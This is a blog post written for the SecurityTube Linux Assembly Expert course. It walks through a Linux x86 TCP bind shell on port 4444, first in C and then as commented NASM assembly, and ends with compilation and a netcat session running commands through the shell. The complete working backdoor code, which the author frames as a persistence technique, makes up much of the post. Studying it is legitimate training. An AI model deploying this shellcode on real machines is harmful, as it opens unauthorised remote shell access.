Creating A Tcp Bind Shell
A bind shell is used to create a listening port on a target machine, that can be later accessed via the network and interact with a system shell. This is a common technique for creating backdoors and maintaining persistence on a target machine. Assignment number 1 for the SecurityTube Linux Assembly Expert exam is to put together a bind shell shellcode. Let’s take a further look into this challenge.
What a bind shell looks like in C
Before jumping straight into coding in assembly, let’s take a look at what a bind shell would look like in a slightly higher level programming language:
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int host_sockid; // sockfd for host
int client_sockid; // sockfd for client
struct sockaddr_in hostaddr; // sockaddr struct
int main()
{
// Create socket
host_sockid = socket(PF_INET, SOCK_STREAM, 0);
// Initialize sockaddr struct to bind socket using it
hostaddr.sin_family = AF_INET;
hostaddr.sin_port = htons(1337);
hostaddr.sin_addr.s_addr = htonl(INADDR_ANY);
// Bind socket to IP/Port in sockaddr struct
bind(host_sockid, (struct sockaddr*) &hostaddr, sizeof(hostaddr));
// Listen for incoming connections
listen(host_sockid, 2);
// Accept incoming connection, don't store data, just use the sockfd created
client_sockid = accept(host_sockid, NULL, NULL);
// Duplicate file descriptors for STDIN, STDOUT and STDERR
dup2(client_sockid, 0);
dup2(client_sockid, 1);
dup2(client_sockid, 2);
// Execute /bin/sh
execve("/bin/sh", NULL, NULL);
close(host_sockid);
return 0;
}
Here we can see a few things happening here. First, let’s note the different system calls (syscalls) that are being executed within this code.
Syscalls:
- socket
- bind
- listen
- accept
- dup2
- execve
There are serveral different ways that we can learn more about these syscalls. Online resources, whitepapers, but the most accessible is the header file located in /usr/include/i386-linux-gnu/asm/unistd_43.h
.
This file lists out all the syscall values for anything you could need, including the ones listed above. It will be clear as we’re writing the bind shell program when we utilize these syscall values, so let’s not get too much into that now.
Next, we will go through the lines of the assignment code that I created to see what’s happening.
Creating the shellcode from the C program
The first set of instructions are really basic, just clearing out the registers we will be using by using xor
against themselves.
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
After this, I will be setting arguments based on the format of the C code we built. So first on the list we are going to set up the socket syscall, which can be seen below with comments
mov bl, 2 ; PF_INET value from /usr/include/i386-linux-gnu/bits/socket.h
mov cl, 1 ; setting up SOCK_STREAM, as seen in C code and pulled from /usr/include/i386-linux-gnu/bits/socket_type.h
mov dl, 6 ; setting protocol again as in C code, pulled from /usr/include/linux/netinet/in.h
mov ax, 359 ; syscall socket()
int 0x80 ; create the socket ( socket() in C code )
Going from top to bottom, I will explain what’s happening in detail. First we move the value “2” into bl (First 8 bits of EBX). This value is defined inside the file /usr/include/i386-linux-gnu/bits/socket.h
which is the header file for the socket syscall. It defines the value of PF_INET
as 2, which is one of the arguments in the socket syscall.
Next, the value “1” is put into cl (first 8 bits of ECX) which is the value of SOCK_STREAM
, the second argument within the socket syscall, defined in the same file as PF_INET
.
Finally, the value “6” is moved into dl (First 8 bits of EDX). This value is the definition of the TCP protocol as seen in /usr/include/linux/netinet/in.h
.
The next line, mov ax, 359
puts the value “359” into ax (16 bits of EAX). This is the syscall value for socket as seen in /usr/include/i386-linux-gnu/asm/unistd_32.h
. See the output below to see how I found this value.
anubis@ubuntu:~/SLAE$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep socket
#define __NR_socket 359
anubis@ubuntu:~/SLAE$
And then int 0x80
just executes the socket syscall and creates the socket in our program.
Great, so now we have our socket created, next let’s work on setting up the bind part of this program, that will actually allow use to “bind” a port on our machine. I’ll show the code below and then walk through just as before.
xor edx, edx ; clear out edx
mov ebx, eax ; put the value of the socket creation into ebx
push edx ; We want the bind shell to listen on all interfaces, so pushing all zeroes will accomplish this
push word 0x5c11 ; this is the port (4444) in little endian
push word 0x02 ; making the the in_family AF_INET again, and doing word for stack management
mov ecx, esp ; point the top of the stack that contains the sockaddr structure
mov dl, 16 ; #define __SOCK_SIZE__ 16 /* sizeof(struct sockaddr) */ --> in /usr/include/linux/in.h
mov ax, 361 ; bind syscall
int 0x80 ; execute bind
So the first thing we do is clear out the edx register from what we did before, using xor
. Next instruction set, we will move the contents of eax
into ebx
. This is essentially putting the result of the socket function into ebx
which is required for the bind syscall.
Following this, we need to set the IP address as seen in the example C code. This IP address will be the one listening for the bind shell. The best way to maintain access and persistence for an attack is to make this IP address the 0.0.0.0
IP address, which will open the bind port for all interfaces. So the next instruction we will do is push edx
which just pushes all zeroes on the stack, effectively giving us the IP parameter of 0.0.0.0
.
We then load the stack with the port number we want to open on the interfaces, which is the next argument to pass. Here we push the word 0x5c11
which is the value 4444
in little endian format, and the also putting 0x02
onto the stack which is loading the value for AF_INET
for this syscall as seen before.
Next, we move the address pointing to the the top of the stack (esp
) into ecx
since the stack is loaded with the values that compose the sockaddr
structure, which is what we are trying to emulate from the C code.
Then from the file “/usr/include/linux/in.h” we obtain the value for the sizeof
function that is also called within bind. This value is defined as 16, so we put that into dl
, our last argument holder.
Finally we load ax
with the syscall value of bind
, which is 361 as seen in the same file we got the socket
value from, and we again call the int 0x80
interrupt to actually execute the bind syscall.
The next few lines are effectively a rinse and repeat from above, executing the accept
syscall to await connections, and the dup2
syscall to allow standard in, out, and error. With dup2
we create a loop, so that it loads all three of the file descriptors so that the bind shell is fully interactive.
The next notable set of instructions is acutally executing the execve
syscall, which will point to /bin/sh
, so that when a connection is made to our bind port, it will execute a shell so that an attacker could interact with the target machine.
push 0x68732f2f ; push the end of "/bin//sh"
push 0x6e69622f ; push the beginning of "/bin//sh", must do it backwards because of how higher memory goes on top of stack first
These instructions are loading the value “/bin//sh” on to the stack. It needs to happen in reverse order (starting with //sh) since x86 works from highest memory to lowest memory values. It’s also important to note that we add the extra “/” in the command so that the values are divisible by 8, making memory management easier. We then call the execve
syscall and then the exit
syscall to actually start our program and finally create the full bind TCP shell on our target.
Our final program code is seen below:
global _start
section .text
_start:
; set needed registers to zero
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
; setting arguments
mov bl, 2 ; PF_INET value from /usr/include/i386-linux-gnu/bits/socket.h
mov cl, 1 ; setting up SOCK_STREAM, as seen in C code and pulled from /usr/include/i386-linux-gnu/bits/socket_type.h
mov dl, 6 ; setting protocol again as in C code, pulled from /usr/include/linux/netinet/in.h
mov ax, 359 ; syscall socket()
int 0x80 ; create the socket ( socket() in C code )
xor edx, edx ; clear out edx
mov ebx, eax ; put the value of the socket creation into ebx
push edx ; We want the bind shell to listen on all interfaces, so pushing all zeroes will accomplish this
push word 0x5c11 ; this is the port (4444) in little endian
push word 0x02 ; making the the in_family AF_INET again, and doing word for stack management
mov ecx, esp ; point the top of the stack that contains the sockaddr structure
mov dl, 16 ; #define __SOCK_SIZE__ 16 /* sizeof(struct sockaddr) */ --> in /usr/include/linux/in.h
mov ax, 361 ; bind syscall
int 0x80 ; execute bind
xor ecx, ecx ; remove esp pointer from ecx
mov ax, 363 ; listen syscall
int 0x80 ; listen for connections
xor esi, esi ; clear out esi to use as a pointer
xor edx, edx ; clear out edx
mov ax, 364 ; syscall accept4 (since accept doesn't return any value, and with no flag set accept4 acts identical to accept)
int 0x80 ; executing awaiting connections
mov ebx, eax ; preservation from accept syscall
mov cl, 3 ; set all 3 file descriptors (standard in, out, and error)
call_dup:
xor eax, eax
mov al, 63 ; syscall dup2
dec ecx
int 0x80 ; dup2 stdin
inc ecx
loop call_dup
xor ecx, ecx
push ecx ; zero out top of stack
push 0x68732f2f ; push the end of "/bin//sh"
push 0x6e69622f ; push the beginning of "/bin//sh", must do it backwards because of how higher memory goes on top of stack first
mov ebx, esp ; mov pointer to /bin//sh into ebx
mov al, 11 ; execve syscall
int 0x80 ; execute /bin//sh "shell"
xor eax, eax
mov al, 1 ; syscall exit
int 0x80 ; exit program
Now let’s compile our program using the compile.sh
script from the SLAE exercises.
anubis@ubuntu:~/SLAE/Assignment_1$ ./compile.sh bind_tcp
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
anubis@ubuntu:~/SLAE/Assignment_1$ ls -al
total 28
drwxrwxr-x 2 anubis anubis 4096 Feb 20 20:53 .
drwxrwxr-x 10 anubis anubis 4096 Feb 18 01:53 ..
-rw-rw-r-- 1 anubis anubis 1163 Feb 17 23:57 bind_shell.c
-rwxrwxr-x 1 anubis anubis 640 Feb 20 20:53 bind_tcp
-rw-rw-r-- 1 anubis anubis 2162 Feb 18 01:41 bind_tcp.nasm
-rw-rw-r-- 1 anubis anubis 544 Feb 20 20:53 bind_tcp.o
-rwxrwxr-x 1 anubis anubis 152 Feb 18 01:40 compile.sh
anubis@ubuntu:~/SLAE/Assignment_1$
Now we execute our compiled program.
anubis@ubuntu:~/SLAE/Assignment_1$ ls -al
total 28
drwxrwxr-x 2 anubis anubis 4096 Feb 20 20:53 .
drwxrwxr-x 10 anubis anubis 4096 Feb 18 01:53 ..
-rw-rw-r-- 1 anubis anubis 1163 Feb 17 23:57 bind_shell.c
-rwxrwxr-x 1 anubis anubis 640 Feb 20 20:53 bind_tcp
-rw-rw-r-- 1 anubis anubis 2162 Feb 18 01:41 bind_tcp.nasm
-rw-rw-r-- 1 anubis anubis 544 Feb 20 20:53 bind_tcp.o
-rwxrwxr-x 1 anubis anubis 152 Feb 18 01:40 compile.sh
anubis@ubuntu:~/SLAE/Assignment_1$ ./bind_tcp
There is no output but we can confirm with netstat that we are now listening on 4444 and then connect to this port using nc
anubis@ubuntu:~$ netstat -antp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 3160/bind_tcp
tcp 0 0 127.0.1.1:53 0.0.0.0:* LISTEN -
anubis@ubuntu:~$ nc 127.0.0.1 4444
id
uid=1000(anubis) gid=1000(anubis) groups=1000(anubis),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
pwd
/home/anubis/SLAE/Assignment_1
hostname
ubuntu
When we connet to the bind port, we don’t get any output, but when we run commands after connecting, we see that we have a working shell on the host! Perfect.
This has been my journey on creating a Bind TCP shellcode using asm, next I will be creating a Reverse TCP shellcode. See you then!
This blog post was created as per the requirements of the Security Tube Linux Assembly Expert certification.
Student ID: SLAE-1406
Please see https://github.com/AnubisSec/SLAE for all the source files mentioned on this site.